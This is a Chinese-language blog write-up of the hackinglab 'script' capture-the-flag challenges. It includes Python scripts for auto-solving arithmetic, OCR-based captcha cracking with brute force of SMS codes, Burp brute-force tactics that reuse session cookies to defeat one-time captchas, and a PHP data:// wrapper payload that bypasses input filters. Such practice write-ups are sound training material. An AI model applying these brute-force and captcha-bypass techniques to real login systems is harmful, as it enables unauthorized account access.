hackinglab之脚本关

1、key又又找不到了

打开链接,里边有个跳转,产看源代码:
在这里插入图片描述
发现一个界面一闪而逝,所以拦住(bp哦)它,看看有啥玄机:
查看源码,果然在这:
在这里插入图片描述

2、快速口算

这个题肯定不是手算啦,写个python脚本即可:

import requests
import re

url='http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'

s= requests.Session()
r=s.get(url)
r.encoding='utf-8'
print(r.text)
num=re.findall(re.compile(r'<br/>\s+(.*?)='),r.text)[0]
result=eval(num)
r=s.post(url,data={'v': eval(num)})
print (r.text)

在这里插入图片描述

3、这个题目是空的

空的,什么是空的呢?

提示了小写,意味着肯定是有输入信息的,表示空的那只能是null了啊

4、key又又找不到了

这个题还是有点难受的啊

首先产看源代码,是一个js在调用a()函数,则说明有一段函数代码,F12在source里找到,直接拿到HTML在线运行工具执行一遍发现不对啊,还是没有弹框,查看代码,发现有三段return干扰代码,直接删除,运行,弹窗了~

这个题目建议在firefox浏览器进行,因为google弹窗不能复制,还会显示干扰 -_-

5、逗比验证码第一期

这个大概测试了一下,不能注入,只能爆破,验证码可以用一个

所以bp拦包,直接爆破,字典就是1000-9999

线程设置高一点,一下子就跑出来了

6、逗比验证码第二期

这个比较复杂,虽然也是爆破,但是由于验证码一次之后就失效了,所以这里我们需要卡一波bug,在第一次输入正确验证码后,留下的cookie值不要让其失效,紧接着验证下一个密码即可,这是大概的原理。
具体操作就是,设置两个爆破点一个就是密码,另一个是vcode,密码就用刚才的四位纯数字字典,另一个字典为空,即可跑出来:
在这里插入图片描述

自己耐心点实践哦~,有问题可以大家一起交流

7、逗比的验证码第三期(SESSION)

这个也可以和上边那题目一样:
在这里插入图片描述

8、微笑一下就能过关了

这一关,说实话难倒我了,不过找到了一个关键代码:

<?php  
    header("Content-type: text/html; charset=utf-8");
    if (isset($_GET['view-source'])) { 
        show_source(__FILE__); 
        exit(); 
    } 

    include('flag.php'); 

    $smile = 1;   // 这里是给smile赋初值
// 下边这些正则表达式进行判断
   if (!isset ($_GET['^_^'])) $smile = 0;  
    if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;  
    if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;  
    if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0; 
    //preg_match ( string $pattern , string $subject , string $matches)
    //搜索subject与pattern给定的正则表达式的一个匹配.
    //pattern : 要搜索的模式,字符串类型(正则表达式)。
	//subject : 输入的字符串。
	//matches :(可有亦可无)如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
	//所以以上就是把http、https这些在$pattern位置的字符都过滤了
    if ($smile) { 
        if (@file_exists ($_GET['^_^'])) $smile = 0;  
    } 
		//这里是file_exists() 函数检查文件或目录是否存在判断^_^不是一个文件


		//下边是这道题目的关键,也是最看不懂的
		//大概就是获取^_^的值,赋值给smile
		//若(●'◡'●)为smile则返回flag
    if ($smile) { 
        $smile = @file_get_contents ($_GET['^_^']);  
        if ($smile === "(●'◡'●)") die($flag);  
    }  
?> 

这里构造的payload为:

http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/?^.^=data://text/plain;charset=unicode,(●'◡'●)

9、逗比的手机验证码

这个登录进去发现需要验证另一个手机,但是又收不到验证码,可以先在自己手机上得到验证码,不要点掉,重新打开一个标签,把另一个手机的验证码填进去,就好了:

在这里插入图片描述

10、基情燃烧的岁月

根据提示,制作100-999的字典,直接bp爆破
在这里插入图片描述
又发现一个电话号码,接着爆破就OK了

11、验证码识别

这一关有点坑,找了很多方法。。。

这一关主要是验证码会过期,需要工具啥的来配合才能爆破

网上好多人都是用python脚本来跑的:
比如:

import pytesseract
from PIL import Image
import requests
import os
cur_path = os.getcwd()
vcode_path = os.path.join(cur_path, 'vcode.png')
header = {'Cookie': 'PHPSESSID=$Your Value'}

def vcode():
    # 验证码识别函数
    pic_url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'
    r = requests.get(pic_url, headers=header, timeout=10)
    with open(vcode_path, 'wb') as pic:
        pic.write(r.content)
    im = pytesseract.image_to_string(Image.open(vcode_path))
    im = im.replace(' ', '')
    if im != '':
        return im
    else:
        return vcode()

url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'
for i in range(100, 1000):
    code = vcode()
    data = {'username': '13388886666', 'mobi_code': str(i), 'user_code': code}
    r = requests.post(url, data=data, headers=header, timeout=10)
    response = r.content.decode('utf-8')
    if 'user_code or mobi_code error' in response:
        print('trying ' + str(i))
    else:
        print('the mobi_code is ' + str(i))
        print(response)
        break

但是我高了好久都会报错,不是模块的错,python版本是python3.x,反正就是跑不出来,还有好多,还有用工具的。。。太菜了,只能等待后续大佬出新教程了

12题之后的网站我打不开了…脚本关就到这里吧,后续可以了再更新~

·
·
·
·
·
·
·

《小白记录》

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值